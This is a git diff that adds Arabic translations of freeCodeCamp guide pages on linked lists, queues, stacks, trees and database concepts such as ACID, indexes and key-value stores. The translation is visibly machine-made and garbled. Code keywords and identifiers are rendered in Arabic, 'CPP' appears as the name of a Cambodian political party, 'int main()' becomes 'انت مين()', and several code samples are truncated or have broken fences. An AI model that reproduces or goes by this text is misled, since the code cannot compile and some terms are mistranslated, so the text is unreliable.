+ * `display()` is used to print the complete list on the console 
+ * `insertBefore()` is used to insert a new node 
+ * `List()` is a defualt constructor 
+`` 
+
+حزب الشعب الكمبودي قائمة :: قائمة () { رئيس = NULL؛ إنهاء = NULL؛ عد = 0؛ }
+
+ `The default constructor is used to initialize the data members of the List class with default values 
+` 
+
+حزب الشعب الكمبودي void list :: insertBefore (int int) { عقدة N \* node = new N؛ node-> الأسطوانات = البيانات؛ node-> ذيل = NULL؛
+
+ `    if(!head){ 
+        head=end=node; 
+    } 
+ 
+    else{ 
+        node->tail=head; 
+        head=node; 
+    } 
+ 
+    count++; 
+` 
+
+}
+
+ ``* A new node is created. 
+ * `num` is assigned the value of `data`. 
+ * `tail` is pointing to Null. 
+ * The `if(!head)` condition is true only when there are no elements in the List. 
+ * When this is the case, `head` and `end` are both pointing to the newly created node. 
+ * Control will move to the `else` section, when there is at least one node in the list. 
+ * In this case, `tail` pointer in the newly created node is made to point to the `head`(first) node. 
+ * The `head` pointer then points to the newly created node to make it the first node in the list. 
+ * `count` is incremented by 1    as each new node is added. 
+`` 
+
+حزب الشعب الكمبودي قائمة الفراغ :: عرض () { عقدة N \* العقدة = الرأس. بينما (عقدة) { cout < الأسطوانات <
+
+ ``The display function is used to run through the list and print the total number of nodes and values of `num` on the console. 
+ 
+ #### Applications 
+ * Base Data Structure for Vector, Array, Queue, Stack, etc 
+ * Polynomial Representation 
+ * Ring Buffer 
+ 
+ Drawbacks: 
+ 1) Random access is not allowed. We have to access elements sequentially starting from the first node. So we cannot do binary search with linked lists. 
+ 2) Extra memory space for a pointer is required with each element of the list 
+ 
+ 
+ Types: 
+ 1) (Singly) linked lists contain nodes which have a data field as well as a 'next' field, which points to the next node in line of nodes. Operations that can be performed on singly linked lists include insertion, deletion and traversal. 
+ 
+ 2) (Doubly) In a 'doubly linked list', each node contains, besides the next-node link, a second link field pointing to the 'previous' node in the sequence. The two links may be called 'forward('s') and 'backwards', or 'next' and 'prev'('previous'). 
+ 
+ Example in Javascript: 
+`` 
+
+وظيفة LinkedList () { this.head = لاغية this.tail = لاغية }
+
+ `// Node has three properties value, next, prev 
+ 
+ function Node (value, next, prev) { 
+ 
+    this.value = value; 
+ 
+ // A 'pointer' referencing to the next Node (if present) otherwise null 
+ 
+    this.next = next; 
+ 
+ // A 'pointer' referencing the previous Node, otherwise null 
+ 
+    this.prev = prev; 
+ } 
+ 
+ LinkedList.prototype.addToHead = function(value) { 
+ 
+    let newNode = new Node(value, this.head, null); 
+ 
+    if (this.head) this.head.prev = newNode; 
+ 
+    else this.tail = newNode; 
+ 
+    this.head = newNode; 
+ } 
+` 
+
+ `Now Execute code 
+` 
+
+اترك LL = new LinkedList ()؛
+
+ `LL.addToHead(100); 
+ 
+ LL.addToHead(200); 
+ 
+ console.log(LL); 
+` 
+
+ `Representation in C: 
+ A linked list is represented by a pointer to the first node of the linked list. The first node is called head. If the linked list is empty, then value of head is NULL. 
+ Each node in a list consists of at least two parts: 
+ 1) data 
+ 2) pointer to the next node 
+ In C, we can represent a node using structures. Below is an example of a linked list node with an integer data. 
+ In Java, LinkedList can be represented as a class and a Node as a separate class. The LinkedList class contains a reference of Node class type 
+` 
+
+C // عقدة قائمة مرتبطة عقدة البنية { بيانات int؛ عقدة البنية \* التالي ؛ }؛
+
+ `# Linked List with three elements 
+` 
+
+ج // برنامج C بسيط لتقديم // قائمة مرتبطة
+
+# تتضمن
+
+# تتضمن
+
+عقدة البنية { بيانات int؛ عقدة البنية \* التالي ؛ }؛
+
+// البرنامج لإنشاء رابط بسيط // list with 3 nodes انت مين() { struct Node \* head = NULL؛ عقدة البنية \* الثانية = NULL؛ عقدة البنية \* الثالثة = NULL؛
+
+// تخصيص 3 عقد في كومة الذاكرة المؤقتة  
+head = (Struct Node _) malloc (sizeof (struct Node))؛ second = (struct Node_ ) malloc (sizeof (struct Node))؛ third = (struct Node \*) malloc (sizeof (struct Node))؛
+
+/ \* تم تخصيص ثلاث كتل بشكل حيوي. لدينا مؤشرات لهذه الكتل الثلاث الأولى والثانية والثالثة  
+رأس الثاني الثاني | | | | | | + --- + ----- + + ---- + ---- + + ---- + ---- + | # | # | | # | # | | # | # | + --- + ----- + + ---- + ---- + + ---- + ---- +
+
+\# يمثل أي قيمة عشوائية. البيانات عشوائية لأننا لم نحدد أي شيء بعد \* /
+
+head-> data = 1؛ // تعيين البيانات في العقدة الأولى head-> next = second؛ // ربط العقدة الأولى مع العقدة الثانية
+
+/ \* تم تعيين البيانات إلى جزء البيانات من الكتلة الأولى (كتلة وأشار الرأس). ويشير المؤشر التالي من الكتلة الأولى إلى ثانيا. لذلك كلاهما مرتبطان.
+
+ `   head          second         third 
+    |              |              | 
+    |              |              | 
+ +---+---+     +----+----+     +-----+----+ 
+ | 1  | o----->| #  | #  |     |  #  | #  | 
+ +---+---+     +----+----+     +-----+----+ 
+` 
+
+\* /
+
+الثانية-> البيانات = 2 ؛ // تعيين البيانات إلى العقدة الثانية الثانية-> التالية = الثالثة ؛ // ربط العقدة الثانية مع العقدة الثالثة
+
+/ \* تم تعيين البيانات إلى جزء البيانات من الكتلة الثانية (كتلة المشار إليها بواسطة ثانيا). ويشير المؤشر التالي من الكتلة الثانية إلى كتلة ثالثة.  
+لذلك ترتبط جميع الكتل الثلاث.
+
+ `   head         second         third 
+    |             |             | 
+    |             |             | 
+ +---+---+     +---+---+     +----+----+ 
+ | 1  | o----->| 2 | o-----> |  # |  # | 
+ +---+---+     +---+---+     +----+----+      */ 
+` 
+
+ثالثا> البيانات = 3 ؛ // تعيين البيانات إلى العقدة الثالثة third-> next = NULL؛
+
+/ \* تم تعيين البيانات إلى جزء البيانات من الكتلة الثالثة (block المشار إليه من قبل الثالثة). ويتم إجراء المؤشر التالي للكتلة الثالثة NULL للإشارة أنه تم إنهاء القائمة المرتبطة هنا.
+
+ ` We have the linked list ready. 
+ 
+       head 
+         | 
+         | 
+    +---+---+     +---+---+       +----+------+ 
+    | 1  | o----->|  2  | o-----> |  3 | NULL | 
+    +---+---+     +---+---+       +----+------+ 
+ 
+ 
+ Note that only head is sufficient to represent the whole list.  We can 
+ traverse the complete list by following next pointers.    */ 
+` 
+
+العودة 0 } \`\` \`
+
+#### معلومات اكثر:
+
+*   [مقدمة للقوائم المرتبطة](http://www.geeksforgeeks.org/linked-list-set-1-introduction/)
+*   [القوائم المرتبطة (فيديو YouTube)](https://www.youtube.com/watch?v=njTh_OwMljA)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/data-structures/queues/index.md b/client/src/guide/arabic/computer-science/data-structures/queues/index.md
new file mode 100644
index 0000000000..8850258c61
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/data-structures/queues/index.md
@@ -0,0 +1,46 @@
+---
+title: Queues
+localeTitle: ذيول
+---
+## طوابير
+
+قائمة الانتظار هي أول بنية بيانات أول (OutO) (FIFO). تستخدم العديد من الخوارزميات قوائم انتظار في جوهرها لتحسين الأداء.
+
+قائمة الانتظار هي واحدة من أنواع البيانات التجريدية الأساسية (ADT). يشبه الطوابير لدينا في الأفلام أو محلات السوبر ماركت. سيتم تقديم أول شخص يصل أولا الحق؟ وبالمثل ، سيتم إزالة العنصر الأول الذي سيتم إدراجه أولاً. هناك عدة أنواع من الطوابير مثل ،
+
+1.  قائمة انتظار بسيطة (أو قائمة انتظار)
+2.  قائمة انتظار دائري
+3.  طابور الأولوية
+4.  Dequeue (Double Ended Queue)
+
+إذا استطعت أن تفهم الطابور البسيط (الذي سيشار إليه من هنا باسم "قائمة الانتظار") ، فسيكون كل الآخرين سهلا بنفس القدر ، مع القليل من التعديلات.
+
+معظم العمليات الشائعة المتاحة في قائمة الانتظار هي ،
+
+1.  إضافة / عرض - لإدراج عنصر في نهاية قائمة الانتظار.
+2.  Remove / Poll - إزالة عنصر من بداية قائمة الانتظار.
+3.  Peek - إرجاع العنصر في بداية قائمة الانتظار ولكن لن يتم إزالته.
+4.  Size / Count - لإرجاع عدد العناصر الموجودة حاليًا في قائمة الانتظار.
+5.  IsEmpty - تحقق مما إذا كانت قائمة الانتظار فارغة أم لا.
+
+يمكن تنفيذ قائمة الانتظار باستخدام إما المصفوفات أو القوائم المرتبطة. فيما يلي تنفيذ مجموعة بسيطة من بنية بيانات قائمة الانتظار مع عملياتها الأكثر شيوعًا.
+
+\`\` \`جافا سكريبت  
+var Queue = function () { var queue = \[\]؛ var front = 0؛ var back = 0؛ إرجاع { isEmpty: function () { عودة الجبهة> = العودة || queue.length === 0؛ }، add: function (elem) { / \* يمكنك أيضًا إجراء queue.push (elem) في JavaScript. هذا كيف يفعلون ذلك بلغات أخرى \* / قائمة الانتظار \[العودة ++\] = elem؛ }، remove: function () { إذا (! this.isEmpty ()) { قائمة انتظار العودة \[front ++\]؛ // أو queue.shift () } else { خطأ جديد ("Queue is Empty.")؛ } }، نظرة خاطفة: الوظيفة () { إذا (! this.isEmpty ()) { قائمة انتظار العودة \[front\]؛ } } } }؛
+
+var queue = new Queue ()؛ console.log (queue.isEmpty ())؛ // صحيح queue.add (1)؛ queue.add (2)؛ console.log (queue.remove ())؛ // 1 console.log (queue.peek ())؛ // 2 console.log (queue.remove ())؛ // 2 console.log (queue.remove ())؛ // استثناء \`\` \`
+
+#### تطبيقات
+
+*   محاكاة
+*   الجدولة (جدولة المهام ، جدولة الأقراص)
+*   إدارة الموارد المشتركة
+*   لوحة المفاتيح المخزن المؤقت
+*   اتساع البحث أولا
+*   للتعامل مع الازدحام في الشبكة
+
+#### معلومات اكثر:
+
+*   [مزيد من المعلومات عن طوابير - GeeksForGeeks](http://www.geeksforgeeks.org/queue-data-structure/)
+*   [حل التحديات باستخدام قوائم الانتظار - Hackerrank](https://www.hackerrank.com/domains/data-structures/queues)
+*   [HackerRank الأكوام و الطوابير الفيديو](https://www.youtube.com/watch?v=wjI1WNcIntg)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/data-structures/stacks/index.md b/client/src/guide/arabic/computer-science/data-structures/stacks/index.md
new file mode 100644
index 0000000000..374d6772fa
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/data-structures/stacks/index.md
@@ -0,0 +1,112 @@
+---
+title: Stacks
+localeTitle: كومات
+---
+## كومات
+
+الأكوام هي أول بنية بيانات في الماضي (FILO). إنه بنية بيانات خطية.
+
+يمكنك تخيل كومة كما تم تنظيم لوحات في مطعم بوفيه. يمكنك فقط اختيار اللوحة في الجزء العلوي وإلا ستنهار الحزمة. بشكل عام ، ستتم إزالة العنصر الأخير الذي سيتم إدراجه أولاً.
+
+بعض العمليات الأساسية للمكدس هي:
+
+1.  دفع - لإدراج عنصر في الجزء العلوي من المكدس.
+2.  Pop - يزيل عنصرًا أعلى الرصة.
+3.  isEmpty - تحقق من ما إذا كانت المكدس فارغة أم لا
+4.  الحجم - إرجاع عدد العناصر الموجودة في المكدس (يمكن إجراء جميع العمليات في زمن O (1))
+
+يمكن تنفيذ مجموعة مكدّسة إما باستخدام المصفوفات أو القوائم المرتبطة. فيما يلي تنفيذ مجموعة بسيطة بنية بنية تخزين البيانات مع عملياتها الأكثر شيوعًا.
+
+ `//Stack implementation using array in C++ 
+ //You can also include<stack> and then use the C++ STL Library stack class. 
+ 
+ #include <bits/stdc++.h> 
+ 
+ using namespace std; 
+ 
+ class Stack { 
+    int t; 
+    int arr[MaxN]; 
+ public: 
+    Stack() { 
+        t = 0; 
+    } 
+    int size() { 
+        return t; 
+    } 
+    bool isEmpty() { 
+        return t < 1; 
+    } 
+    int top() { 
+        return arr[t]; 
+    } 
+    void push(int x) { 
+        if (++t >= MaxN) { 
+            cout << "Stack is full" << '\n'; 
+            return; 
+        } 
+        arr[t] = x; 
+    } 
+    void pop() { 
+        arr[t--] = 0; 
+    } 
+ }; 
+ 
+ int main() { 
+    Stack st; 
+ 
+    st.push(4); 
+    st.push(3); 
+    st.push(5); 
+    while (!st.isEmpty()) { 
+        cout << st.size() << ' ' << st.top() << '\n'; 
+        st.pop(); 
+    } 
+    return 0; 
+ } 
+` 
+
+#### باستخدام الصفائف كأكوام
+
+في بعض لغات البرمجة ، يحتوي الصفيف على وظائف مكدسة ، مما يسمح للمطور بإجراء عمليات **الدفع** **والبارز** دون الحاجة إلى بنية بيانات مكدس مخصصة.
+
+على سبيل المثال ، يحتوي مصفوفة في JavaScript على طرق **دفع** و **pop** تسمح لأحد بتطبيق وظائف المكدس بسهولة في أحد التطبيقات.
+
+ `stack = []; 
+ 
+ let i = 0; 
+ while(i < 5) 
+  stack.push(i++); 
+ 
+ while(stack.length) { 
+  stack.pop(); 
+ } 
+` 
+
+يمكن أن تؤدي قائمة في Python أيضًا وظيفة مكدس في أحد التطبيقات. بدلا من **الدفع** ، يمكن للمرء أن يستخدم طريقة **إلحاق** .
+
+ `stack = [] 
+ 
+ for i in range(5): 
+    stack.append(i) 
+ 
+ while len(stack): 
+    stack.pop() 
+` 
+
+#### تطبيقات
+
+*   تحويل العودية إلى حلقة.
+*   ميزات إعادة التراجع.
+*   سودوكو حلالا
+*   عمق البحث الأول.
+*   عبور الشجرة
+*   التعبير عن Infix -> Prefix / Postfix expression
+*   أقواس صالحة
+
+#### معلومات اكثر:
+
+*   [مزيد من المعلومات على الأكوام - GeeksForGeeks](http://www.geeksforgeeks.org/stack-data-structure/)
+*   [كومة - ويكيبيديا](https://en.wikipedia.org/wiki/Stack_(abstract_data_type)
+*   [برج هانوي المشكلة وكيف يستخدم الحل المداخن والتكرار](https://en.wikipedia.org/wiki/Tower_of_Hanoi)
+*   [HackerRank الأكوام و الطوابير الفيديو](https://www.youtube.com/watch?v=wjI1WNcIntg)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/data-structures/trees/index.md b/client/src/guide/arabic/computer-science/data-structures/trees/index.md
new file mode 100644
index 0000000000..ad49cc46b0
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/data-structures/trees/index.md
@@ -0,0 +1,72 @@
+---
+title: Trees
+localeTitle: الأشجار
+---
+# الأشجار
+
+يمكن تعريف بنية بيانات الأشجار بشكل متكرر (محلي) كمجموعة من العقد (تبدأ من عقدة جذر) ، حيث تكون كل عقدة عبارة عن بنية بيانات تتكون من قيمة ، مع قائمة مراجع للعقد ("الأطفال") ، مع القيود التي لا تتكرر أي إشارة ، ولا شيء يشير إلى الجذر. تسمى الشجرة بدون العقد بالشجرة الخالية أو الفارغة.
+
+الشجرة الثنائية هي بنية بيانات غير خطية تتكون من العقد ، حيث تحتوي كل عقدة على المكونات الثلاثة التالية:
+
+**عنصر البيانات** : يخزن أي نوع من البيانات في العقدة **مؤشر يسار** : **يشير** إلى الشجرة الفرعية على الجانب الأيسر من العقدة **المؤشر الأيمن** : **يشير** إلى الشجرة الفرعية على الجانب الأيمن من العقدة كما يوحي الاسم ، يخزن عنصر البيانات أي نوع من البيانات في العقدة. تشير مؤشرات اليسار واليمين إلى الأشجار الثنائية على الجانب الأيمن والأيسر من العقدة على التوالي.
+
+إذا كانت الشجرة فارغة ، يتم تمثيلها بمؤشر فارغ.
+
+## المصطلحات المستخدمة في الأشجار:
+
+**الجذر** : العقدة العليا في شجرة.
+
+**الطفل** : عقدة متصلة مباشرة بعقدة أخرى عند الانتقال بعيدًا عن الجذر.
+
+**الوالد** : الفكرة العكسية للطفل.
+
+**الأشقاء** : مجموعة من العقد مع نفس الوالد.
+
+**السليل** : يمكن الوصول إلى العقدة من خلال إجراء متكرر من الوالد إلى الطفل.
+
+**السلف** : يمكن الوصول إلى العقدة من خلال إجراء متكرر من الطفل إلى الوالد.
+
+**الفرع** (العقدة الداخلية): عقدة لشجرة لها عقد فرعية.
+
+**ورقة** (أقل شيوعا تسمى العقدة الخارجية): عقدة بدون أطفال.
+
+**الدرجة العلمية** : عدد الألواح الفرعية لعقدة.
+
+**الحافة** : الاتصال بين عقدة واحدة وأخرى.
+
+**المسار** : تسلسل من العقد والحواف التي تربط العقدة مع سليل.
+
+**المستوى** : يتم تعريف مستوى العقدة بواسطة 1 + (عدد الاتصالات بين العقدة والجذر).
+
+**ارتفاع الشجرة** : ارتفاع الشجرة هو ارتفاع العقدة الجذرية الخاصة بها.
+
+**العمق** : عمق العقدة هو عدد الحواف من العقدة الجذرية للشجرة إلى العقدة.
+
+**غابة** : الغابة هي مجموعة من الأشجار المنفصلة n ≥ 0.
+
+### بعض أنواع الأشجار الشائعة:
+
+*   شجرة ثنائية
+*   شجرة البحث الثنائية
+*   شجرة AVL
+*   أحمر أسود شجرة
+*   شجرة Splay
+*   شجرة هوفمان
+
+### الاستخدامات الشائعة
+
+*   تمثل البيانات الهرمية
+*   تخزين البيانات بطريقة تجعلها سهلة البحث
+*   تمثل قوائم مرتبة من البيانات
+*   خوارزميات التوجيه
+
+### رمز عقدة شجرة
+
+\`\` \`c\_cpp العقدة الهيكلية { بيانات int؛ // عنصر البيانات العقدة الهيكلية \* اليسار ؛ // المؤشر إلى العقدة اليسرى العقدة الهيكلية \* // المؤشر إلى العقدة اليمنى }؛
+
+\`\` \`
+
+#### معلومات اكثر:
+
+*   [ملاحظات CMU الدرس](http://www.cs.cmu.edu/~clo/www/CMU/DataStructures/Lessons/lesson4_1.htm)
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Tree_(data_structure))
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/databases/acid/index.md b/client/src/guide/arabic/computer-science/databases/acid/index.md
new file mode 100644
index 0000000000..b52ca6374f
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/databases/acid/index.md
@@ -0,0 +1,30 @@
+---
+title: ACID
+localeTitle: ACID
+---
+## حامض
+
+في علم الكمبيوتر ، ACID (Atomicity، Consistency، Isolation، Durability) هي مجموعة من الخصائص لتعديلات قاعدة البيانات. فهي تساعد على ضمان صلاحية المعاملة ، حتى مع وجود أخطاء أو إخفاقات.
+
+**المعاملة** هي أي تسلسل من عمليات قاعدة البيانات التي تلبي خصائص ACID ويمكن عرضها كعملية منطقية واحدة على البيانات. مثال على ذلك هو تحويل الأموال من حساب مصرفي إلى حساب آخر. يتضمن هذا عدة تغييرات ، مثل الخصم من حساب واحد واعتماد آخر ، ولكن يعتبر معاملة واحدة.
+
+### Atomicity
+
+وهذا يعني أن المعاملة المعقدة إما يتم معالجتها تمامًا ، أو لا تتم معالجتها على الإطلاق. إذا فشل جزء من المعاملة ، فلن تكتمل المعاملة بالكامل ولن تتغير قاعدة البيانات. بهذه الطريقة ، إذا كان هناك تعطل ، أو عطل في الطاقة ، أو خطأ ، فإن قاعدة البيانات لا ينتهي بها المطاف في حالة حيث يتم تنفيذ أجزاء فقط من المعاملة.
+
+### التناسق
+
+وهذا يعني أن البيانات ستكون متسقة. يجب أن تكون أي بيانات يتم إدخالها في قاعدة البيانات صالحة ومسموح بها وفقًا لأي قيود تحددها. فإنه يتأكد من أن أي معاملة يغير قاعدة البيانات من حالة صالحة واحدة إلى حالة صالحة أخرى.
+
+### عزل
+
+وهذا يعني أنه في حال تنفيذ عمليتين في نفس الوقت ، لا يمكن لمعاملة واحدة قراءة البيانات من معاملة لم تكتمل بعد. سترى كل معاملة قاعدة البيانات كما لو أن المعاملات كانت تنفذ بالتتابع. إذا احتاجت إحدى المعاملات إلى قراءة البيانات التي يكتبها الآخر ، فيجب الانتظار حتى انتهاء المعاملة الأخرى. لن تؤثر تأثير المعاملة غير المكتملة على معاملة أخرى.
+
+### متانة
+
+وهذا يعني أنه بمجرد اكتمال المعاملة ، سيظل الأمر كذلك ، حتى في حالة فقدان الطاقة أو أي أخطاء أخرى. يضمن ذلك تسجيل كافة التغييرات إلى وسيطة تخزين غير متطايرة (مثل القرص الثابت) ، ويقوم بتسجيل سجل المعاملة المكتملة.
+
+### معلومات اكثر:
+
+*   حمض المادة: [ويكيبيديا](https://en.wikipedia.org/wiki/ACID)
+*   نظرة عامة على الفيديو: [YouTube](https://www.youtube.com/watch?v=LSB4eceRsw8)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/databases/column-databases/index.md b/client/src/guide/arabic/computer-science/databases/column-databases/index.md
new file mode 100644
index 0000000000..12b015e51e
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/databases/column-databases/index.md
@@ -0,0 +1,11 @@
+---
+title: Column Databases
+localeTitle: قواعد بيانات العمود
+---
+## قواعد بيانات العمود
+
+تم تصميم قواعد البيانات الموجهة للعمود لإرجاع البيانات بكفاءة لعدد محدود من الأعمدة. يفعل ذلك عن طريق تخزين جميع قيم العمود معا. سوف تتفوق قاعدة البيانات الموجهة للعمود في عمليات القراءة على عدد محدود من الأعمدة ، إلا أن عملية الكتابة ستكون مكلفة مقارنة بقواعد البيانات الموجهة للصفوف.
+
+#### معلومات اكثر:
+
+يرجى زيارة صفحة ويكيبيديا [DBMS المنحى العمود](https://en.wikipedia.org/wiki/Column-oriented_DBMS) لمزيد من المعلومات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/databases/document-store-databases/index.md b/client/src/guide/arabic/computer-science/databases/document-store-databases/index.md
new file mode 100644
index 0000000000..5c028f66b1
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/databases/document-store-databases/index.md
@@ -0,0 +1,23 @@
+---
+title: Document Store Databases
+localeTitle: قواعد بيانات مخزن المستندات
+---
+## قواعد بيانات مخزن المستندات
+
+تعتبر قاعدة بيانات مخزن المستندات هي نوع آخر من قاعدة بيانات NoSQL التي تشبه إلى حد كبير قاعدة بيانات Key Value. يمثل السجل في مخزن المستندات وثيقة منظمة واحدة يمكن أن تكون مختلفة عن كل الوثائق الأخرى في قاعدة البيانات. بخلاف قاعدة بيانات علائقية ، لا يوجد تعيين كائنات إلى جدول مختلف في قاعدة البيانات. بدلاً من ذلك ، يمكننا أخذ الكائن بأكمله وكتابته مباشرةً في قاعدة بيانات مخزن المستندات.
+
+على سبيل المثال ، يمكن أن يكون لدينا الكائن التالي داخل الكود الخاص بنا.
+
+ `{ 
+    "name": "freeCodeCamp", 
+    "job": "contributor" 
+ } 
+` 
+
+يمكن كتابة هذا الكائن بأكمله مباشرة في قاعدة بيانات مخزن المستندات بدون تحليل إضافي.
+
+#### معلومات اكثر:
+
+[MongoDB](https://www.mongodb.com/document-databases)
+
+[Elasticsearch](https://www.elastic.co/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/databases/fault-tolerance/index.md b/client/src/guide/arabic/computer-science/databases/fault-tolerance/index.md
new file mode 100644
index 0000000000..40e60ede17
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/databases/fault-tolerance/index.md
@@ -0,0 +1,18 @@
+---
+title: Fault Tolerance
+localeTitle: التسامح مع الخطأ
+---
+## التسامح مع الخطأ
+
+التسامح مع الخطأ هو الخاصية التي تمكن النظام من مواصلة التشغيل المقصود ، ربما بمستوى مخفض ، بدلاً من الفشل تمامًا ، عندما يفشل جزء من النظام.
+
+تكون **قاعدة البيانات** متسامحة مع الخطأ عندما تتمكن من الوصول إلى جزء ثانوي عند عدم توفر الأساسي.
+
+يتحقق ذلك من خلال:
+
+*   النسخ المتماثل لقاعدة البيانات
+*   كشف الأعطال & الفشل
+
+تحتوي قاعدة البيانات التي تحتفظ بنسخ متعددة من جميع البيانات في عقد مادية مختلفة موجودة عبر أنظمة فرعية مادية مستقلة ، مثل رفوف الخوادم وأجهزة توجيه الشبكة ، على احتمال كبير لمواصلة التشغيل عندما تكون النسخة الأساسية من البيانات غير متاحة بسبب قدرتها على قراءة البيانات من مضاعفات متعددة.
+
+في أنظمة التوزيع واسعة النطاق ، يصبح من المهم بشكل متزايد وجود أنظمة موثوقة لاكتشاف الأعطال يمكنها تحديد محركات التخزين الفاشلة وتوفير وحدات تجاوز الفشل من أجل زيادة وقت تشغيل الخدمة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/databases/graph-databases/index.md b/client/src/guide/arabic/computer-science/databases/graph-databases/index.md
new file mode 100644
index 0000000000..ef906aea85
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/databases/graph-databases/index.md
@@ -0,0 +1,11 @@
+---
+title: Graph Databases
+localeTitle: قواعد بيانات الرسم البياني
+---
+## قواعد بيانات الرسم البياني
+
+قاعدة البيانات الرسومية هي قاعدة بيانات تستخدم هياكل الرسم البياني للاستعلامات الدلالية مع العقد والحواف والخصائص لتمثيل وتخزين البيانات. المفهوم الأساسي للنظام هو الرسم البياني (أو الحافة أو العلاقة) ، والتي ترتبط مباشرة بعناصر البيانات في المتجر. تسمح العلاقات بالربط بين البيانات في المتجر معًا مباشرةً ، وفي كثير من الحالات يتم استرجاعها من خلال عملية واحدة.
+
+#### معلومات اكثر:
+
+*   [قواعد بيانات الرسم البياني](https://en.wikipedia.org/wiki/Graph_database)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/databases/index.md b/client/src/guide/arabic/computer-science/databases/index.md
new file mode 100644
index 0000000000..1cf2422a6a
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/databases/index.md
@@ -0,0 +1,11 @@
+---
+title: Databases
+localeTitle: قواعد بيانات
+---
+## قواعد بيانات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/databases/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/databases/indexes/index.md b/client/src/guide/arabic/computer-science/databases/indexes/index.md
new file mode 100644
index 0000000000..332680fb92
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/databases/indexes/index.md
@@ -0,0 +1,21 @@
+---
+title: Indexes
+localeTitle: الفهارس
+---
+## الفهارس
+
+**فهرس قاعدة البيانات** هو بنية بيانات تعمل على تحسين كفاءة استرجاع البيانات على جدول قاعدة البيانات. يمكن أن يحتوي جدول قاعدة البيانات على أكثر من فهرس ويمكن إنشاء فهرس على عمود واحد أو أكثر من جدول قاعدة البيانات.
+
+### كيف تعمل الفهارس؟
+
+الآن تخيل أنك في مكتبة حيث لا يتم ترتيب الكتب بترتيب محدد مسبقًا. إذا تم تكليفك بالعثور على كتاب ، فسيتعين عليك الانتقال إلى الرف عن طريق الرف لتحديد موقعه. قد يكون هذا أمرًا رائعًا عندما لا توجد سوى رفوف قليلة من الكتب ، ولكن العملية تستغرق وقتًا طويلاً جدًا إذا كانت مكتبة متعددة الطوابق.
+
+من ناحية أخرى ، افترض أن الكتب مرتبة الآن حسب اسم المؤلف الأخير. نظرًا لأنك تعرف الاسم الأخير للمؤلف للكتاب الذي تبحث عنه ، على سبيل المثال "Carnegie" ، يمكنك البحث عن رف "C" ثم البحث داخل الرف المحدد. لقد أنقذت نفسك من المرور عبر كل رف.
+
+### المقايضة
+
+كما هو موضح سابقًا ، فإن **الفهرس** هو بنية بيانات ، ومن ثم فهو يشغل مساحة تخزين. كلما تم تعريف المزيد من الفهارس ، يتم أخذ مساحة تخزين أكبر للحفاظ على بنية البيانات. تكلفة أخرى تأتي في شكل تحديثات إضافية (أو يكتب) للحفاظ على الفهارس حتى الآن. عند إضافة سجلات جديدة إلى جدول يحتوي على فهرس ، هناك حاجة إلى عمليات كتابة إضافية لتحديث بنية بيانات الفهرس.
+
+#### معلومات اكثر:
+
+[فهرس قاعدة البيانات](https://en.wikipedia.org/wiki/Database_index)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/databases/key-value-databases/index.md b/client/src/guide/arabic/computer-science/databases/key-value-databases/index.md
new file mode 100644
index 0000000000..ca7f5b3bff
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/databases/key-value-databases/index.md
@@ -0,0 +1,54 @@
+---
+title: Key Value Databases
+localeTitle: قواعد بيانات القيمة الرئيسية
+---
+## قواعد بيانات القيمة الرئيسية
+
+قاعدة بيانات القيمة الرئيسية ، أو مخزن القيمة الرئيسية ، هي نوع من [قواعد](https://en.wikipedia.org/wiki/NoSQL) بيانات [NoSQL](https://en.wikipedia.org/wiki/NoSQL) التي تستخدم تخزين المفاتيح / القيمة. وهذا يعني أن البيانات المخزنة في قاعدة البيانات هي مجموعة من أزواج القيمة الرئيسية.
+
+يتم استخدام هذا النوع من بنية البيانات على العديد من لغات البرمجة. تُعرف أزواج القيمة الرئيسية عادةً بالمصفوفات النقابية أو القواميس أو التجزئة. على سبيل المثال ، ضع في الاعتبار قاموس أرقام الهواتف:
+
+| المفتاح | القيمة | | ------------ | ------------- | | ريك 1234555 | | مورتي 7754321 | | الصيف 5512377 |
+
+### المفتاح
+
+و `key` يجب أن يكون في زوج المفاتيح ذات قيمة فريدة من نوعها. سيسمح لك تحديد المعرف الفريد بالوصول إلى القيمة المرتبطة بمفتاح محدد.
+
+من الناحية النظرية ، يمكن أن يكون المفتاح أي شيء تريده. يمكن أن يكون المفتاح عبارة عن سلسلة ، وتسلسل ثنائي ، وصورة ، وغيرها. ومع ذلك ، قد تفرض بعض قواعد البيانات قيودًا على نوع المفاتيح التي يمكن استخدامها.
+
+فيما يلي بعض التوصيات:
+
+*   يجب أن تتبع المفاتيح اتفاقية من أجل الحصول على التناسق. يجب أن تكون المفاتيح في قاموس أرقام الهواتف دائمًا أسماء ، وليست مجموعة من الأسماء وعناوين البريد الإلكتروني والأرقام.
+*   يجب ألا تكون المفاتيح طويلة جدًا ، أو قد تواجه مشكلات في الأداء.
+*   يجب ألا تكون المفاتيح قصيرة جدًا ، أو قد تكون لديك مشكلات في إمكانية القراءة.
+
+### القيمة
+
